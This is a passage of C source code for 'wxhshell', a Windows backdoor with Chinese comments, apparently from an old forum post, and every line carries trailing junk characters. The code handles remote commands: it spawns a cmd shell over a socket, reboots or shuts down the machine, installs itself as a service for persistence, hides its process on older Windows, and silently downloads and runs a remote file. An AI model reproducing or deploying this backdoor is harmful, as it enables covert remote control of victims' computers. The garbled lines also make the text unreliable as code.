  // 帮助 8R??J>h5\  
  case '?': { avbr7X(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S$kuhK>W!  
    break; 6iV"Tl{z-  
  } 9wYtOQ{g  
  // 安装 JtrDZ;^@  
  case 'i': { #?b^B~ #  
    if(Install()) '%]@a7w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C&CsI] @g  
    else |)72E[lL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bVAgul=__  
    break; %t5BB$y  
    } _:fO)gs|1  
  // 卸载 vwqN;|F  
  case 'r': { kUaGok?  
    if(Uninstall()) h^ecn-PC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E;GR;i{t  
    else w?$u!X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8t*%q+Z  
    break; mB|mt+  
    } >kDdWgRQ  
  // 显示 wxhshell 所在路径 5[j!\d}U  
  case 'p': { eV {FcJha  
    char svExeFile[MAX_PATH]; "jQe\  
    strcpy(svExeFile,"\n\r"); "<jEI /  
      strcat(svExeFile,ExeFile); mZ0oa-Iy  
        send(wsh,svExeFile,strlen(svExeFile),0); % Dr4~7=7a  
    break; a@_Cx  
    } e ka@?`  
  // 重启 :?:j$ =nWN  
  case 'b': { ,O&PLr8cJ?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rM >V=|9,  
    if(Boot(REBOOT)) F#}1{$)% /  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N;`[R>Z~  
    else { g0:4zeL  
    closesocket(wsh); f;tyoN0wHx  
    ExitThread(0); >%p m "+h{  
    } 5c}9  
    break; : ! iPn%  
    } >*t>U8  
  // 关机 <K=B(-~  
  case 'd': { /@nRL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3!oQmG_T  
    if(Boot(SHUTDOWN)) g<T`F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4{pemqS*  
    else { <% 3SI.  
    closesocket(wsh); I\uB"Z{9  
    ExitThread(0); ?"8A^ ^  
    } Y1E>T-Ma  
    break; q[|`&6B  
    } 3Llj_lf  
  // 获取shell  ZV q  
  case 's': { n-b<vEZw#  
    CmdShell(wsh); P7k$^n  
    closesocket(wsh); `TlUJ]d)  
    ExitThread(0); 0i Z9a/v  
    break; "O*W]e  
  } ATmqq)\s  
  // 退出 h^_taAdS`  
  case 'x': { ,pa&he  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |Q)w3\S$  
    CloseIt(wsh); t-4 R7`A<  
    break; j.'"CU  
    } \`p~b(  
  // 离开 cJWfLD>2_!  
  case 'q': { .iN*V|n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wAOVH].  
    closesocket(wsh); nM.?Q}yO~  
    WSACleanup(); Nj-rZ%&  
    exit(1); B%g:Z  
    break; Nb!6YY=Ez-  
        } ;7n*PBUJJ  
  } $t H.np  
  } UrcN?  
PUZXmnB  
  // 提示信息 hYUV9k:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7@cvy? v{  
} \y )4`A  
  } PLD'Q,R  
b}L,kT  
  return; %FWfiFV|<  
} g&F<Uv#mZ  
A{Htpm~  
// shell模块句柄 '/Cz{<,  
int CmdShell(SOCKET sock) Ce'2lo  
{ .nF  
STARTUPINFO si; k q.h\[  
ZeroMemory(&si,sizeof(si)); AW&s-b%P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l 75{JxZX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O-lh\9{'R  
PROCESS_INFORMATION ProcessInfo; OZ14-}Lr5  
char cmdline[]="cmd"; U>-#('  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;ld~21#m  
  return 0; 2[&-y[1  
} / >. X+N  
6N+)LF}P b  
// 自身启动模式 F4<2.V)#-  
int StartFromService(void) d<'Yt|zt  
{ @gjdyz  
typedef struct @bCiaBdi  
{ 0#/ 6P&6  
  DWORD ExitStatus; $z,DcO.vz  
  DWORD PebBaseAddress; *^+xcG  
  DWORD AffinityMask; [5eT|uy  
  DWORD BasePriority; Hh;6B!zb+  
  ULONG UniqueProcessId; v_h*:c  
  ULONG InheritedFromUniqueProcessId; :;WDPRx  
}   PROCESS_BASIC_INFORMATION; Eg29|)qsz  
5YH mp7c-z  
PROCNTQSIP NtQueryInformationProcess; wVJFA1  
Ahbu >LPk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J+NK+,_*M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ry S{@=si  
@d^h/w  
  HANDLE             hProcess; gI5nWEM0{  
  PROCESS_BASIC_INFORMATION pbi; "3oU (RA  
7-IeJ6,D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |< FCt-U  
  if(NULL == hInst ) return 0; "jc)N46  
LbbQ3$@ WD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `DllW{l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DF|lUO]:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "EhO )lR  
9x{prCr  
  if (!NtQueryInformationProcess) return 0; hsO.521g  
d@f2Vxe7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;OJ0}\*iP8  
  if(!hProcess) return 0; swq!S p  
(#iM0{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \\Tp40m+  
*`.{K12T  
  CloseHandle(hProcess); 5g>kr< K  
>b?)WNk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *9(1:N;#  
if(hProcess==NULL) return 0; jyH_/X5i7  
K/+C6Y?  
HMODULE hMod; 10IPq#Jj  
char procName[255]; [gp:nxyfQm  
unsigned long cbNeeded; Iw7r}G  
I8;[DP9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F/>Pv q]  
rg/vxTl  
  CloseHandle(hProcess); azc:C  
Hbc&.W;g7[  
if(strstr(procName,"services")) return 1; // 以服务启动 7O^ S.(  
Bic { H  
  return 0; // 注册表启动 X hX'*{3k  
} k K|+W,  
VDY1F_Fk  
// 主模块 )_K@?rWS  
int StartWxhshell(LPSTR lpCmdLine) !QS<;)N@  
{ '\\Cpc_g  
  SOCKET wsl; J}\]<aC  
BOOL val=TRUE; 4F6o  
  int port=0; /-4B)mL  
  struct sockaddr_in door; %\&dFwb  
wx5*!^&j  
  if(wscfg.ws_autoins) Install(); Wj=ex3K3u.  
rXPx* /C  
port=atoi(lpCmdLine); VVl-cU  
NWK_(=n  
if(port<=0) port=wscfg.ws_port; 't.F.t  
g^UWf<xp  
  WSADATA data; S]=Vr%irX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NYvj?>[y  
]sAD5<;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bI(98V,t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H5 hUY'O  
  door.sin_family = AF_INET; Z@/5~p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !r0P\  
  door.sin_port = htons(port); zRFM/IYC  
&:K?-ac  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V <pjR@  
closesocket(wsl); pPp nO  
return 1; 7"i*J6y*  
} a`Z f_;$@  
toJ&$HrE  
  if(listen(wsl,2) == INVALID_SOCKET) { !OgoV22  
closesocket(wsl); o|q#A3%?  
return 1; S6tH!Z=(g  
} {o%R~{6  
  Wxhshell(wsl); V/}8+Xq  
  WSACleanup(); (C@@e'e  
\hN2w]e  
return 0; !I_4GE,  
8:fiO|~%  
} mDf WR  
]t;5kj/  
// 以NT服务方式启动 zAUfd[g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^0-=(JrC  
{ pk1M.+  
DWORD   status = 0; hiHp@"l<  
  DWORD   specificError = 0xfffffff; ?='9YM  
G3?z.5 ,Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V1A3l{>L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -#x\E%v.F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .y+U7 "?s*  
  serviceStatus.dwWin32ExitCode     = 0; ),,vu  
  serviceStatus.dwServiceSpecificExitCode = 0; )aSkUytg"  
  serviceStatus.dwCheckPoint       = 0; epyfgg MT  
  serviceStatus.dwWaitHint       = 0;  c @fc7  
j]&{ @Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G].KJ5,y  
  if (hServiceStatusHandle==0) return; vrbh+  
e*H$c?7NL  
status = GetLastError(); Din)5CxFX  
  if (status!=NO_ERROR) >.\E'e5^C  
{ PM7/fv*,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9To6Rc;  
    serviceStatus.dwCheckPoint       = 0; "QS7?=>*F  
    serviceStatus.dwWaitHint       = 0; m.1BLN[9  
    serviceStatus.dwWin32ExitCode     = status; i>2_hn_UR  
    serviceStatus.dwServiceSpecificExitCode = specificError; g"Bv!9*H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !d(V7`8  
    return; d*L'`BBsp  
  } 1[^d8!U  
dZmq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y>8?RX8  
  serviceStatus.dwCheckPoint       = 0;  <@u6*]  
  serviceStatus.dwWaitHint       = 0; oVW?d]R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mM.&c5U  
} e AjtWqg  
T`sM4 VWqU  
// 处理NT服务事件,比如:启动、停止 :^a$ve3(Jq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hgGcUpJy?  
{ mGvP9E"&  
switch(fdwControl) 4>*`26  
{ Vk-_H)*r  
case SERVICE_CONTROL_STOP: JB<4 m4-  
  serviceStatus.dwWin32ExitCode = 0; Ji q[VeLe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <!^Z|E  
  serviceStatus.dwCheckPoint   = 0; ^ZG1  
  serviceStatus.dwWaitHint     = 0; NY x4& *le  
  { t/|^Nt@XT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Di*>PE@  
  } 6-"&jbvm  
  return; :xCobMs_/  
case SERVICE_CONTROL_PAUSE: ny=iAZM>q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F1>,^qyG6  
  break; ^ a:F*<D  
case SERVICE_CONTROL_CONTINUE: kx[8#+P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E<dN=#f6  
  break; X;h~s:LM  
case SERVICE_CONTROL_INTERROGATE: y1X.Mvc  
  break; ~_%[j8o&l  
}; pG&.Ye]j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M .,|cx  
} 2uIAnbW]M  
FhGbQJ?[3  
// 标准应用程序主函数 Q*: Ow]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *F0N'*  
{ iQF93:#  
9[M u   
// 获取操作系统版本 jLTs1`I/F  
OsIsNt=GetOsVer(); D$HxPfDZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zeX?]@]Y  
GCHssw~P'v  
  // 从命令行安装 .+yJ'*i$d  
  if(strpbrk(lpCmdLine,"iI")) Install(); <FE O6YP  
71_N9ub@z  
  // 下载执行文件 q9Q4F  
if(wscfg.ws_downexe) { Q"O _h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A\`Uu&  
  WinExec(wscfg.ws_filenam,SW_HIDE); G1rgp>m  
} 6F2}|c  
3$Je,|bs  
if(!OsIsNt) { Vs >1%$If  
// 如果时win9x,隐藏进程并且设置为注册表启动 i ^#R iCeo  
HideProc();  UWI5 /R  
StartWxhshell(lpCmdLine); =E}/Z  
} _EP}el  
else I$$!YMm.N  
  if(StartFromService()) i+}M#Y-O  
  // 以服务方式启动 i&Ea@b  
  StartServiceCtrlDispatcher(DispatchTable); \T0`GpE  
else zx27aZ[  
  // 普通方式启动 3?:}lY<,  
  StartWxhshell(lpCmdLine); Eq t61O$x  
dSbV{*B;>  
return 0; -t]0DsPg  
}
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只看该作者 1 发表于: 2006-10-10
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